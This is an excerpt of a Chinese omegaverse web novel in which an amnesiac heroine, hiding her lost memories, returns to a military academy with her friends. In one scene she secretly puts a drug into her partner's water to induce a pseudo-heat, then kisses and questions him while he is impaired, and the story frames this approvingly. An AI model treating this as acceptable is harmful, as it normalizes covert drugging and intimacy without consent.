那副白色的半掌手套包裹着苏苍梧的手，只能露出纤长的食指和中指，其余的皮肤被紧紧包裹着，隐约还能从丝滑的布料种窥出关节的淡粉色。
池映菡的手指顺着苏苍梧外裸的指根探进去，挑起边缘紧压着的锁边，特意挠了挠他的掌心。
“怎么还戴着手套。”池映菡问。
苏苍梧似乎很怕痒，条件反射般握住她的指节。
“那些伤疤不好看。”
其实不说池映菡也清楚，这种半露半不露的手套，于苏苍梧来说，基本上没什么实用性。
但自池映菡清醒回家后，苏苍梧就一直戴着。
池映菡没有询问伤疤来源，也没有急着收回手。
她怕让苏苍梧察觉出什么端倪，所以基本上不会直接提及两人的过往。
待苏苍梧放松下来，她才摩挲着他掌心的纹路和沟壑，转过身来与他对视。
池映菡心疼道：“还疼吗？”
因为在池子里泡着，她的体温要比苏苍梧高，这会儿由她手掌包裹过来，苏苍梧的手也很快暖起来。
“刚开始是疼的，后来血痂掉落，伤疤长好，就不会疼了。”苏苍梧语速很慢，“不过，蹭到伤疤时，还是会有酸胀感。”
Omega对于痛苦的敏感度更高，他们的心思也更为细腻脆弱。
池映菡叹了口气，说：“别怕，你以后在我身边，不会受到任何伤害。”
苏苍梧眼睫微动，他坐得高，虽然是俯视池映菡，那双清透的薄荷色眼瞳却不带任何居高临下的意味。
任何时候，那双眼睛里的不安总是大过平静。
他没有说话，任由池映菡褪下那薄薄的手套，与他真正的食指交握。
掌心的温度作不了假，水浸润苏苍梧的掌心，他却低声啜泣起来。
一开始只有两滴豆大的眼泪没入水中，连涟漪都未起，就归于平静。
在这之后，他的委屈就再也忍不住了。
或许是信息素香水激起他身为Omega的脆弱，或许是池映菡的温柔令他再度回忆起自己的不堪。
总之，苏苍梧逐渐弓身，试图将自己的情绪团在怀里。
但哭声是压不住的，委屈也会越积压越肆意反噬。
池映菡替他抹泪，却无意将手上的水带给他。
脸颊湿漉漉的，看起来更狼狈了。
苏苍梧抽噎着，他眼尾和鼻头的红晕染出一片可怜。
束在一侧银色长发从他肩膀滑落，在颤抖中奔赴池中。
沉重拉着他，将他往悲伤与愧疚的汪洋中拖拽。
忽而有人打破平静，水面之上起了涟漪。
“这是怎么了，不相信我的话吗？”池映菡询问，用着自己都不曾察觉的温柔语气哄他。
苏苍梧看到水波在她身边隐隐晃动，后颈比眼睛还红。
他觉得自己没救了。
于是他别过脸，避开那绝非偶然的心头悸动，抽噎着去整理情绪，顺带回答池映菡的问题。
“我……我不值得你对我这么好的。”
池映菡问：“为什么突然这么想。”
“不是突然。”苏苍梧好不容易又平静下来的声音再次变了调，“我没有你想得那么好，我其实一直都是很差劲的人，不够聪明，甚至很自私，作为Omega都无法与你匹配。但如果我不是Omega，你可能不会多看我一眼，我的过去、我的未来，都是一团糟。”
他细数着自己的缺点，越说越崩溃。
因为这些都是他极力避开，却无法忽视的事实。
“我很多时候会不懂装懂，就像我一直知道，我在做很多道德败坏的事，但是我总是回避。和你在一起的时光，就像是我偷来的，但是这些都不该属于我，你早晚会看清楚一切。”
苏苍梧越想越糟糕，甚至要起身离开。
池映菡本来柔软下来的心瞬时警惕，她拉住苏苍梧的手腕，没有着急，而是先稳住他。
“为什么要这么诋毁自己呢？其实我一直在等你主动开口，如果你还是觉得难以启齿，不妨先听听我的想法，好吗？”
苏苍梧回头，眼泪又落下来，他控制不住抽噎，但犹豫了一会儿，还是坐了回去。
池映菡说：“我一直很心疼你，你说你介怀自己的身份、过去和自己的性格缺点，但我会因为这些对你弃之不顾吗？我喜欢你，当然是喜欢你这个人，不需要严格衡量你是否‘合格’，我和谁在一起，难不成就和购物一样，将商品分条列项，然后按需购入吗？”
苏苍梧被她的语气逗笑，很快又苦下一张脸。
不过看样子，他已经没那么难过了。
池映菡晃了晃他的小臂，询问：“那你现在可以告诉我，你为什么会这样想吗？”
苏苍梧沉默片刻，并未立刻回答。
就在池映菡以为，今晚的谈话即将宣告失败时，他再次垂眸，犹豫道：“你很快就要订婚了，等你有了新的爱人，就不会记起我了。”
池映菡松了一口气。
吓死她了，她还以为他是什么深藏不露的卧底。
原来只是因为她要订婚了……
不对！
池映菡忙了半天，差点把这件事给忘了。
和余致嘉订婚是不可能的，就算余致嘉脱光站在她面前，她也只会怂恿他去裸奔，而不是在她面前丢人现眼。
虽然池映菡并不标榜自己是什么痴情人，本人更是和纯爱俩字毫不沾边，但她还是倾向于和有良好感情基础的人结婚。
池映菡倒吸一口冷气，决定用上最后的手段。
台边小几上，有一杯温水。
她刚才怕那
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瓶香水不够猛，所以偷偷在里面下了一粒床头的某种药物。
这药的作用她在书房里提前查过，通过刺激腺体达到治疗效果。
池映菡作为Beta，吃了这药并没有过多的副作用，但注意事项上也标清楚了，Omega或Alpha吃了它有可能短暂进入假性发|情期或易感期。
池映菡一直没喝，就等着给苏苍梧加料。
原本她看苏苍梧哭得可怜，不打算用上这药了，但想到自己如今的处境。
还是先顾全自己吧。
池映菡动作自然，拍了拍苏苍梧的背，不动声色将杯子递了过去。
正沉浸在彷徨中的苏苍梧接过杯子，一饮而尽。
药物起作用还需要一段时间，池映菡想办法拖延时间，她指尖抵上太阳穴，皱起眉：“抱歉，突然有些头疼，你能帮我拿些药吗？”
虽然她的话有些突兀，但情绪上头的苏苍梧还是以她的健康为先，毫不犹豫就去帮她拿药。
水也被他喝完了，需要再倒一杯。
趁苏苍梧离开的间隙，池映菡起身穿好浴袍，再次打开终端，找到关青木的聊天框：“你刚才不是说，已经找到完美人选了吗？”
在书房的时候，池映菡和关青木联系上，她要关青木找个池家无法拒绝的正当理由，把她喊走，以避免那些乱七八糟的检查和后续治疗。
必要的身体检查她会做，但绝对不是在别人的监督之下。
池映菡觉得叶鸿影绝对是受人蒙骗，搞不好现在她们母女已经被那帮虎视眈眈的人玩弄于股掌。
她觉得自己的病症，以及这场无法解释的失忆绝对不可能是意外。
她需要一个可靠的第三方介入。
思量想去，还是由学校出面最合适。
毕竟北洛军校背靠帝国皇室，绝对不可能为池家而破坏原则。
问题是，她和关青木聊天时，意识到一个致命问题。
三年后的这个她，貌似是学校出了名的问题学生。
开辟了许多先例。
第一个突破重重阻碍，成功留校的Beta。
第一个两度被劝退却至今保留学籍的学生。
更是本届第一个参加越级任务，还能活着回来的学生。
池映菡原本想打开导师的联系方式，想要联系导师返校事宜。
却发现自己早就被拉黑了。
而且拒绝再次接受她的好友申请。
池映菡只能让关青木帮忙想一个合适的冤大头。
没想到关青木平日里不着调，这次却很给力。
“我还真有一个人选，就是这个人有点难搞，而且你和他关系闹得那么僵，我不太确定你愿不愿意。”
池映菡觉得有点奇怪，如果真和她关系不好，那也该问那个人愿不愿意。
但她来不及追问，告诉关青木：“你先联系，其余的……”
池映菡不信处处都是死路，眼下先把这关过了才是最要紧的。
还没等她打完字，脚步声接近，池映菡把后面的半截话删掉，只留了前四个字。
她按下发送，关闭聊天框，装出痛苦模样倒在床上。
12.第12章
药效发作很快，苏苍梧带着药回来时，面色潮红。
房间内，只有床头灯在泛着微黄的光，模糊人的视线。
这无意刺激了其他感官。
池映菡的手腕搭在眼前，挡住视线，即便是苏苍梧低声唤她，她也当作没听见。
待他放下杯子，俯身去扶她，池映菡才断定，方才的药应该起了作用。
即便是在昏暗光线下，苏苍梧的异常也显而易见。
他忍着眸光泛着潋滟额的水光，忍着情绪和她说：“药已经好了，还痛吗？”
池映菡哼咛着叫痛，他就慌忙凑近去察看她脸色。
夜色昏暗，因此听觉格外敏感。
池映菡几乎能听到他蓬勃的心跳声。
对上那双略带薄红的双眼时，池映菡没有犹豫，勾住他的脖子，几乎是以不容反抗的姿态，迫使他与自己接吻。
唇齿缠绵间，隐隐能听见换气时急不可耐的喘息声。
偶有抬眸清醒的片刻，也会很快被沉沉欲色掩盖，重新拉回渊深欲海之中。
池映菡的虎口卡住苏苍梧的后颈，每一次轻微施力，都能引起他一阵战栗。
银发垂落，发尾扫在肌肤上，有些痒。
在迷离的思绪间，他听见池映菡问：“还记得我们第一次见面，你也是这样可怜。”
她指甲模拟着针头的动作，陷进腺体处的皮肉中。
刺痛感迟一步传输到大脑中，苏苍梧的呼吸被她掠夺，只能在渴望和难耐中发出闷哼声。
池映菡与他分离片刻，躲过他下意识的索取和追寻，声色低哑：“如果我真和别人订婚，你该怎么办呢？”
苏苍梧抓握着床单的指尖收紧，他已经没办法做出理性思考，凭直觉向她撒娇：“不要订婚，不要有别人。”
池映菡见时机差不多了，将吻落在他眉心和鼻梁间，就是不肯如他的意，与他唇齿再度交缠。
眼见着苏苍梧眼角沁出点点泪光，她才说：“你记得我要在什么时候订婚吗？”
听见这个问题，苏苍梧伏在她肩头，胸膛阵阵起伏，好半天才闷声回答：“记得，下周的周末。”
池映菡听到这个消息，心脏都要不跳了。
但她没有丧失理智，苏苍梧这时候已经进入假性发情期，她不能错失这个机会。
她轻轻拍了拍他的背，道：“我生病后，你一直在我身边，受了不少委屈吧？”
苏苍梧鼻音已经很重了，分不清为何产生这种哭音。
“不委屈。”
眼泪不会骗人，池映菡笑了笑，没有否认，接着寻问：“你还记得我为什么受伤吗？”
苏苍梧没有迟疑着，从脑海中翻找出一段话：“你在任务途中，遇到了二次分化，腺体受到伤害，所以才会……”
明明受伤的是池映菡，但为此而痛苦的却不止她一人。
因为记忆缺失，所以池映菡听到自己的遭遇，并没有太多波动。
反倒是苏苍梧，像是亲历了分化失败和腺体创伤一般，眼泪汹涌，话都不能成句。
池映菡只好停下来再次哄他。
但她又害怕苏苍梧就此沉沦，迷失思绪，所以没过多久便接着提问：“你觉得我是个什么人？”
她调转姿势，让苏苍梧能够躺在自己身侧，好让她听清楚接下来的话。
苏苍梧与她的关系亲密却并没有参与她先前的人生。
他是这三年时光的亲历者，他对她的评价，理应来自这三年。
苏苍梧似乎对拥抱很有执念，他脑袋蹭着，钻进池映菡怀中。
“你是我的全部希望，你比我想象中，还要好上一百倍。”
池映菡想听的不是这个。
“然后呢，我就没有一点其他缺点吗？”
苏苍梧想了想，道：“有的，你不是我一个人的。你身边总是有很多人，刚开始是哥哥，后来是学校里的校友，再后来还有姓余的那个未婚夫……他们都想抢走你的视线，所以你开始慢慢不回家了。”
池映菡道：“你最不喜欢谁？”
苏苍梧没有犹豫，直接说：“那个校友。”
池映菡有些意外。
按理说，苏苍梧作为金丝雀型的恋人，应该最讨厌余致嘉才对。
就算不是余致嘉，也该是何潋。
这两个人的出现，都能直接威胁到他的地位。
池映菡对学校方面一片空白，等着他说下去。
“他是个骗子。”苏苍梧越说越慢，他艰难仰着头，把唇印在池映菡下巴上。
“不要相信他。”他口舌有些不清晰，“很早之前，我就知道他是个骗子。”
呼吸渐微，声音渐弱。
池映菡反复确认，才敢相信苏苍梧这是在她怀中睡着了。
她见问话无望，立即打开终端，上面关青木的信息映入眼帘。
“联系上了。”
“明天早上我带着他去接你。”
“人呢？快来夸我！”
“wok，不会迟了吧。”
“你别吓我啊，回个消息。”
“转人工。”
“客服也行。”
池映菡看着关青木不知所云的抽象梗，不知不觉笑出声。
她回复：“刚看到。”
对面没有回消息，等待的空隙，池映菡再次打字。
“对了，你说的那个人到底是谁。”
对面没有回复消息。
与此同时，她接到了一个陌生号码的通讯邀请。
池映菡接通，听见一个干净利落的青年声音。
“下楼。”
她刚要问这是谁，那边就传来关青木咋咋呼呼的吵嚷：“你急什么，让我说啊！”
接着，终端那头，关青木的声音由远及近：“你在哪里？”
池映菡回答：“二楼卧室。”
关青木立刻了然她的方位，催促道：“快看窗外！”
池映菡这就要下床去看，然而苏苍梧的手紧紧攥着她的衣摆，让她难以离开。
如果硬拉拽，可能会吵醒她。
“稍等。”
池映菡没有犹豫，解开浴袍的衣带。
随着她松开的动作，沉睡中苏苍梧的手也不断回落，最后随着衣服掉落在柔软的被褥间。
池映菡随便捞起衣柜里的一套衣服，先穿好裤子，衬衣索性边走边穿。
她单手系着最后两颗扣子，另一只手去撩开隐隐透光的窗帘。
关青木听见：“这动静……你不会是睡着了吧？”
还未等池映菡说话，她又叫道：“啊！我在这里，你看到了吗？”
窗外的街道上，有一辆车降下车窗，关青木的艳丽张扬的红色波浪卷发格外显眼。
池映菡说：“这么快？”
关青木骂了她一句，然后说：“还不是白天那动静太吓人了，怕你死了，以后没人让我蹭小组作业。”
池映菡无奈笑了一声，说：“暗恋我就直说，用不着在这里拐弯抹角示爱。”
关青木骂骂咧咧反驳，脏话刚说出一半，另一个人就说：“两位能快点吗？”
不过听音色，并不是刚才那位。
离得远，他的话有些失真，却非常沉稳磁性。
而第一个开口的人，则是介于青年与少年人的声音
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。
三个人？
池映菡心中疑惑，从衣柜扯出件外套，这才往楼下跑。
终端那边的声音停止了，池映菡猜测她是静音了。
在池映菡换鞋开门时，她听见关青木的声音又响起：“你快点过来，我有个惊喜给你。”
池映菡没有回答，关青木这个人性格乖张，从心所欲，却非常义气。
她几乎不把生死外的事情看在眼里。
这就导致了，很多时候她都像个置身事外的乐子人，总能在关键时刻让池映菡出乎意料。
面临意外，不靠谱的关青木会突然变得靠谱起来。
但事情稳定下来时，关青木也可以凭借自己的性格和处事方式，随时化为不确定的炸弹。
根据池映菡对关青木的了解，她这么说，肚子里一定憋着坏水。
已经看到那辆车了，池映菡再次询问：“你到底找了谁？”
这个人既能背靠北洛军校，还敢与池家要人。
最重要的是，据池映菡所查，她在学校的名声，几乎可以用臭名昭著来形容。
导师都把她拉入黑名单了，还有谁会在半夜接她回校？
像是感应到了什么，池映菡的心跳节拍错乱一瞬，她抬眼，只看见驾驶座有一只手探出来，放松地搭在窗口。
隔得远，她只能看见他两指间的火星向后燃烧，烟气随夜风飘摇。
但这根烟在他手上，似乎只是徒劳燃烧。
池映菡看不清那人的脸，就听见车门被人摔上。
在她反应过来前，视线被红色笼罩，关青木几步飞扑过来，将她抱了个满怀。
“给不给力？你就说我这次是不是特别牛逼，连夜就想出办法，带人来救你了，够不够意思！”
她说着，大力拍了拍池映菡的背。
池映菡感觉背后阵阵发麻，咬牙切齿道：“够意思，够意思。但你要不要好好看看，你找的究竟是谁？”
后座车门在关青木说话的缝隙间打开，上面的人并未起身，侧首冲池映菡轻微颔首示意。
比年少记忆中，他的肩膀更加宽厚，五官轮廓线条分明，褪去少年时代的青涩，带着种刀削斧劈的锋利感。
多年未见，池映菡与他遥遥对视，却恍若置身多年前的时光洪流。
司诺德，她那因观念不合而分手的前男友。
“老大。”有人插话，将池映菡的目光拉过去。
拉近距离，池映菡这才看清楚刚才烟雾后的那个人，他有一张堪称阴柔秾丽的面孔。
蓝绿挑染的狼尾耷拉在后，他下唇中央的唇钉比火星子还耀眼。
头发蓬松，但他身上的配饰比头发还多，跟家里开了个五金店似的。
他下车，摸出一根烟递给池映菡。
出于一种天然的信任，池映菡的身体肌肉已驱使着她坦然接过那根烟。
池映菡其实不会吸烟，她叼在嘴边，表面上若无其事，实则并不知晓该如何做接下来的动作。
她身上没有打火机，怕对方看出端倪，便含糊着说：“没火。”
想要以此作借口，避开这人的示好。
不曾想，他听过池映菡的话，将手指中燃烧过半的烟放到唇边。
接着，他低头俯身，将唇边烟上的火星传递给她。
池映菡能看到，他唇下那颗银色圆珠随之而动。
这么一颗唇钉，算不上晃眼，却实在勾人视线。
然而他垂着眸，身上的配饰叮铃作响，抿唇含着烟蒂，神色倦中带冷。
原本意兴阑珊的烟头重新冒起红光。
它们相抵，由意兴阑珊变得兴致盎然。
13.第13章
对方在盯着交错的火光看，池映菡在盯着他看。
奇怪，这人应该是北洛军校的学生。
身高目测一米九，微凉的夜里，外套丢在车里，只穿了件无袖背心就站在风里。
但他的脖子上，还戴着布满装饰链条的choker，后颈处的腺体被遮掩得掩饰。
池映菡目光落在他身上，似乎引起他的注意。
他便咬着烟笑了一声，气音轻快，眼睛随之弯了弯。
这人笑起来削弱了不少外表可以打造出的距离感。
竟然还有一颗小小的虎牙。
借火就是一瞬的事，但因为两根烟细，他又懒得用手扶，好半天才把火点好。
池映菡还没说什么，一直被忽略的司诺德说：“出于对校友的关心，我认为大病初愈的人不宜吸烟。其次，作为学校今年新上任的老师，我更需要提醒你们，校规明确指出，队内不得恋爱，我记得二位是多年的队友，难道不记得这项规则吗？”
司诺德的的脸从车内阴影里挪出来，银色链条从他眼睛边垂落，随着他的动作闪烁。
镜片反光，看不清他眸中情绪，不过语气堪称平和儒雅。
“差点忘了你有病。”关青木拍了下脑门，转头指责，“梵陵，你做事太不仔细了！我就知道你小子想谋害队友。”
不过，就算她嘴皮子动弹半天，还是把肩膀搭在池映菡肩上，半点没有阻止的意思。
“不过，老师说你俩恋爱……”她把脑袋凑近，三个人围成一圈，“我看真的有鬼，你俩准备什么时候公布，咱们这个队好快点解散。不如就现在吧，走喽，吃散伙饭去！”
梵陵将池映菡唇边的烟掐走，很自然的将他已经快吸完的烟替换掉。
狠吸了一口，他走向不远处的垃圾桶，将两根长短不一捻灭处理掉。
回身的时候，他长舒一口气，烟雾顺着眉眼和额前卷发往上飘。
池映菡能闻到烟中一点薄荷的味道，烟雾在走到她面前时就散尽了，因此并不讨人厌。
“咱们队散伙了，你还怎么蹭学分，真这么有骨气，下次自己做作业，别让她在完成报告上添你的名字就好了。”
他肤色很白，在路灯的照射下，几乎白到没什么血色。
有一缕刘海的阴影打在他鼻梁上，他说话时，唇几乎没什么明显的跃动。
好像说话都费力气似的。
司诺德说：“我并不是在开玩笑。”
梵陵懒洋洋的，坐回驾驶座：“是，老师，我不是已经把烟掐了吗？”
他着重咬紧了“老师”两个字。
不等司诺德接话，梵陵对池映菡和关青木说：“外面冷，上车。”
池映菡不去后座，抢先一步走向副驾驶。
关青木坐到司诺德旁边的位置。
“我不知道冒险替池映菡作担保，让她返校的决定是否正确了。”司诺德对关青木说。
“学长，不对，应该称呼您为老师了。”关青木道。
司诺德侧脸看她，她就嬉皮笑脸说：“你就安心吧，池映菡是不可能和梵陵在一起的，他俩不可能违反校规。”
司诺德没有接话，但他没有阻止关青木接着往下说。
“因为我们小池，已经有未婚夫了，哈哈哈……你知道她未婚夫是谁吗？”
关青木越说越来劲，聒噪的笑声让池映菡有点心烦。
她说：“你要释放噪音，先把车内隐私功能打开，我要休息一会儿了。”
确定自己暂时安全后，池映菡确实有些疲惫。
关青木说：“那完蛋了，烦人精淘的是二手老货，没有这个功能。”
梵陵突然插嘴：“我记得，队内恋爱是大忌，但师生恋更是被严厉禁止，即便是老师单恋学生，只要提供完整证据，也需要停职调查，对吗？”
司诺德还没解释，关青木就把话续上了。
“规矩是这么定的，但是……”她啧了一声，“这项规则总不能连前男友都算在内吧，司学长已经是过去式了。”
司诺德没有和关青木较真，语气轻松随意：“无论是过去还是现在，我都经得起审判。流言蜚语罢了，清者未必怒于言，但懦者……”
他轻轻笑了，吐字情绪缓慢：“必怒于色……”
关青木捂住嘴，示意自己会闭嘴。
池映菡说：“你和青木说这些话，她未必听得懂，你也知道，她古文意译总被老师当典例批评。”
司诺德平和回她：“我知道，所以我是将给有心人听。”
正在开车的梵陵皱着眉，鸣笛后说：“听不懂信号啊，突然在这里拐什么弯呢？神经病。”
他骂人时并不会因愤怒抬高音量。
如果忽略他说的具体内容，他整个人仍旧处在一种慵懒和随性的状态中。
窗户开了条缝，池映菡能看到他后脑半扎的小辫打着卷晃动。
池映菡索性窝在座椅里，适时咳嗽一下，掐断两人的明争暗斗。
梵陵听到了，瞥了她一眼：“冷？”
不等她回复，他已经抽空关上了窗户。
车内霎时间归于平静，这下连风都消失，耳边只有车内空气静默流动的声音。
“还有多久才到？”她短叹后问梵陵。
“一个小时吧。”梵陵说，“你困吗？”
池映菡点头，又说：“其实是你看起来比较需要休息。”
她不提倡疲劳驾驶，虽然大多数车都配备了自动驾驶和应急避险，但这辆车是否完善了这些功能，她也无法确定。
池映菡还是比较惜命的，不希望大好人生葬送在路上。
梵陵说：“我不困，你想睡就睡一会儿，到了我喊你。”
池映菡打了个哈欠，支着脑袋说：“算了，我替你看着点吧，走夜路总是需要更加警惕些。”
池映菡黑色的长发顺着她的动作滑落下来，从梵陵这个角度看不清她的脸。
梵陵目力极佳，很难不注意到她后颈的针孔。
匆匆一眼，让他莫名有些心烦。
他舌尖勾住虎牙，扫过尖利，然后看着前方的路，若无其事同她搭话：“你头发没扎。”
多数情况下，池映菡是不散发的。
她这人有些自恋，非常迷恋自己身上美丽的女性特质，会不怕麻烦的留长发，花空闲的时间去搭配衣服和香水。
甚至会执着于给终端抢限量款的装饰性配带。
但池映菡也不喜欢让头发影响自己做事，很多外派任务危机四伏，她一般会将所有头发盘在脑后，用簪子或者皮筋挽起。
偶尔，也会支使舍友替她
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编发。
理由是她嫌自己编发麻烦。
“人脑袋后面没长眼睛，我怎么知道那些编出的纹理是否整齐？”
梵陵想起她理直气壮的模样，莫名其妙笑出声。
池映菡仰头瞥了他一眼，却发现他唇角弧度未变。
那轻微的笑声，似乎是她的错觉。
“我头发上有一只，你先拿去用吧。”梵陵说。
池映菡并不喜欢用陌生人的东西，她说：“不用了，谢谢。”
还在专心开车的梵陵并没有再说些什么，被拒绝了也不羞恼和尴尬。
应该说，从他的言语中，很难判断出他对某件事或某个人的喜恶。
冷漠，反倒成了他最大的特色。
但他的手紧攥着方向盘，关节发青。
池映菡并不知道，她觉得这么拒绝没有任何问题。
很多时候，人都会为了当前的安宁生活，给周围突现的异常寻找借口，自动在脑内合理化。
这也是为什么，与池映菡最亲近的家人和情人都察觉不出，她已经失去了三年的记忆。
回到学校就更不用说了，就算是队友，她目前也已经把他们糊弄住。
兵来将挡，水来土掩，她也不会一直让这种状况维护下去的。
“对了。”池映菡说，“学校的医疗部现在能预约明天的检查吗？”
“你受伤了？”
“你还没治好？”
第一句来自司诺德，第二句则是梵陵说的。
池映菡说：“已经养得差不多了，但是我担心临时有任务派发下来，想再做个全面检查才安心。”
司诺德松了口气，发觉自己有些过度关心了，心跳声吵嚷，几乎震得他有些无奈。
扶了扶眼镜框，他冷静下来：“从这学期开始，我会成为你们队的助教，出于安全考虑，在你受伤后返校的第一周，你们队不会有新任务。”
“不过，确实应该进行全方面的身体检查。”司诺德拿出终端，“你们三个都需要。”
说话间，他登录学校官网，替三人都预约了明天的体检。
关青木首先提出抗议：“我没受伤，能不能不去体检啊，医疗部的人大惊小怪的，我不想去，上次那个医疗部的学姐说我有多动症！我真受不了这种污蔑！”
池映菡说：“那你的多动症治好了吗？”
关青木沉默一会儿，有些幽怨：“连你也欺负我。”
梵陵声调还是没什么起伏，也问她：“所以治好了吗？”
“出现了！”关青木没有回答，而是扒着前座间的空隙，将脑袋往前探，“小池的究极拥趸，你们俩就笑话我吧，没我在整个队都要散……”
这句话其实没错，因为校内规定，外派固定队至少需要三人才能成队。
“行了。”梵陵说，“她睡着了。”
这回关青木没再说话。
整个车内再次陷入寂静。
池映菡也不知道自己什么时候睡着的，眼皮再掀开时，她感觉到有些冷。
有人将衣服搭在她身上，勾住她的腰和腿窝，将她横抱起来。
外套很厚实，但池映菡的身材修长高挑，因此小腿在外面耷拉着，还是有些冷。
她枕在那人胸上，闻到了外套上的烟味，瞬间清醒。
14.第14章
池映菡将外套往下扯了扯，露出脑袋。
看了看，目测是学生宿舍的楼下。
周围地势平坦，池映菡拍了拍梵陵，算是示意他把自己放下来。
谁知梵陵会错意，将她往上提了提，声音平稳：“别急，马上就到。”
池映菡索性自己跳了下来。
“我自己走吧。”她说。
宿舍楼近在眼前，她几步上了楼前台阶，进入大厅门口，识别机器监测到有学生回来，打开门禁。
大厅内无风，四季都保持着恒温恒湿。
梵陵默默跟在她身后，他没有穿那件外套，而是将它搭在肩膀一侧。
池映菡在前方走了几步，才意识到自己好像并不记得自己住在哪个宿舍。
她回头，试探着催促他：“走快点。”
夜色深沉，大厅内的灯已经关掉了。
路灯的光只能照亮门口处，安全标识和门禁机器的还亮着刺眼荧光，但照不清他们脸上的神情。
梵陵说：“我好像忘记带钥匙了。”
池映菡无语，她立刻想到了解决方案：“宿管呢，他那里应该有钥匙吧？”
梵陵迈步，走在她前方，说：“没事，宿舍的门锁有指纹识别。”
池映菡心生警惕，鸡皮疙瘩顺着胳膊和脊背往上爬。
忍不住打了个激灵，池映菡意识到，梵陵这是在诈她。
她不知道哪里引起对方的警惕，只能装作自嘲：“瞧我这记性，在家呆太久，脑子都生锈了。”
两人已经走到电梯口，梵陵按下电梯按钮，没有接话。
电梯门打开，池映菡看着明亮的电梯内部，里面空间狭小，如果进去了，可能暂时无处逃离。
或许正是因梵陵刚才的话，从直觉上，她有些抗拒和梵陵共处。
池映菡停下脚步，说：“我好像有东西忘在关青木那里了，她在哪个宿舍来着？我去找她。”
电梯门快要关上了，站在电梯内的梵陵伸手，拦住将要闭合的电梯门。
“北栋一号楼的416，但我不建议你在深夜巡视，如果被巡夜的人撞见了，可能要通报批评。”
池映菡还是有些犹豫，她现在对明亮且封闭的电梯有一种无端恐惧。
细细密密爬上脊骨的恐惧。
这令她呼吸有些急促。
梵陵察觉出她的不对劲，走了出来，用宽阔的肩膀替她挡住电梯的光。
没有多余的询问，他就像是完全不记得方才的插曲，牵起池映菡的手腕往楼梯方向走。
他的手在楼梯间松开，并不强迫她与自己再进行肢体接触。
“走吧，在三楼。”
梵陵的声音在空旷的楼梯里很清亮，甚至因打破了宁静，而有些突兀。
池映菡硬着头皮跟他一起走。
爬上三楼并不需要很久，梵陵也一改之前的态度，主动在前为她带路。
池映菡趁着他无法回头的时候，想了很多。
难不成梵陵是哪一方的卧底？
他怀疑自己了吗？
从今晚的接触来看，这个人明显和自己还有关青木的关系不错，危险系数很低。
但说不准呢？
如果他真的如表现的那般不在乎，何必出言试探？
池映菡从封口想到灭口，最终还是觉得不该试探法律底线，先装傻充愣，即便梵陵怀疑她现在失忆，也并不能因此证明她不适合继续学业。
明天的就能进行体检，只要池映菡能拿到校方给出的报告，就能向池家证明，她目前的状态一切良好，不需要听从池家，进行所谓的精神治疗。
先把今晚糊弄过去再说，等一切安排妥当，就算梵陵揭穿她失忆，也不影响她接手池家。
失忆造成的信息差可以慢慢补上，但借失忆把她当精神病来治，那她就很难翻身了。
一切都需要明天治疗部的检测报告。
池映菡回过神，发现自己已经跟着梵陵在门前站定。
门牌号上的317闪着暗光，池映菡默默记下宿舍号，主动用指纹开了门。
开门的一瞬间，池映菡松了口气，进门后连灯都没找，先打发门口的人：“很晚了呢。”
这样委婉的话，梵陵似乎并没有听懂，但他还是应答：“嗯。”
紧接着，在池映菡准备直接让梵陵回他的宿舍前，梵陵跨过门槛，顺手关门，并把门口的灯打开了。
忽然暴露在明亮中，池映菡有些不适应，她呼吸错乱一瞬，下意识眯起眼。
不知为何，梵陵又关了灯，他与池映菡擦肩而过，将外套放在左侧的椅背上，然后打开桌上的灯。
这盏灯光线柔和，泛着微黄的光，并不刺眼。
同样的，它只能勉强照清楚房间布局。
池映菡意识到，梵陵貌似是她的室友。
顺从这肌肉记忆，她坐在另一侧的桌前。
因为她在桌面上看到了她常用的护手霜。
仔细观察，这里处处都是她留下的生活痕迹，熟悉又陌生。
池映菡没有说话，翻了翻衣柜，找出换洗衣物。
学校的空间有限，但日常训练量大，还是给学生配置了单独的淋浴间，阳台有洗衣机和盥洗台。
池映菡尽量让自己忽略房间里的另一个人。
但她拿不准梵陵的态度，怕他的试探是别有用心，因此总是有意无意将目光投向梵陵。
梵陵对目光很敏锐。
终于，在池映菡第三次和他撞上视线时，梵陵歪头，右耳边的绿色坠子摇摇晃晃，折射着背后光线，通透碧翠。
“有事？”
池映菡便说：“我先洗？”
梵陵点了点头，似乎对她的提议没有异议。
等池映菡回到位置上的时候，梵陵又进了浴室。
她松了口气，打开柜子开始翻找自己有没有留下什么关键信息。
她先是在书架上找到了自己的学生证，然后按照上面的学生号找到校园网的账户，顺利登入学校官网。
课表肯定是要先保存下来的，顺带她还看了看自己的各学期成绩、请假记录和理由。
以及，最重要的处分记录和外派任务记录。
不看不知道，一看吓一跳。
池映菡的处分记录黑红交错，光是涉及劝退的都有三次。
她先打开最严重的红色的处分。
第一条是最近的，教务处在一个月前发出，理由是外派任务中包庇队友，以及违反规定擅自行动，导致校方
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支援无法准确定位和救援。
第二条是几个月前的，理由是半夜潜入关闭的实验室，操作不当炸毁实验器具，炸毁实验室后又潜入资料库，盗取资料未遂。
第三条是去年的，逃了自己的实训课后，在另一处训练场殴打七名校友，又把前来阻止的督察顺手揍了。
再点开数量更多的一般违纪处分，围殴不成反被打的占最多。
池映菡扶额，被逗笑了。
Alpha生性好斗，她这样强大又美丽，成绩还优异的Beta被盯上也很正常。
不过，这里面也不全是私斗处分，还有些被撤销处分的，池映菡点进去，最后的处理结果是：疑似被骚扰后正当防卫，经查验后撤销处分。
池映菡全部看了一遍，然后切换到外派任务记录。
在一串印有绿色通过水印的任务列表里，那条最新的，刻有失败字样的红色任务名字尤其刺眼。
没有犹豫，池映菡查看任务详情。
但这项任务的报告显示呈现大片空白。
任务过程没有一个字。
结果处的导师评判：经校方判断，池映菡急功近利，欲速反迟，对自身实力评估过高，身为队长在任务过程中不仅包庇队友，无视客观情况，且违反规定擅自行动，导致校方支援无法准确定位和救援。鉴于该同学违反校规，在外派任务中多次冒进，学院暂时决定记大过，待养好伤回校写完任务详情报告后，再进行劝退处理。
落款名称是顾诚峨，也就是把她拉黑的导师。
怪不得这个任务报告的过程详情是一片空白，应该是需要她写。
池映菡叹了口气，她又打开别的任务翻了翻，发现有一处地方不对劲。
在已通过完成的任务中，执行人员偶有变化，但总是固定写着三个人。
队长：池映菡
队员：关青木、梵陵
名字都是手写体，需要本人完成签字才对。
然而对比刚才的那页未完成的报告，上面的执行人员是报告自动填写，且不可更改。
每一个人员的名字，无论手写还是校方代填，都能在线上点击，跳转到该姓名所代表的学生主页上。
这页的名字里，没有关青木，也没有其他蹭任务的同学，只有她和梵陵。
报告还未提交，上面的执行人员却显示不可更改。
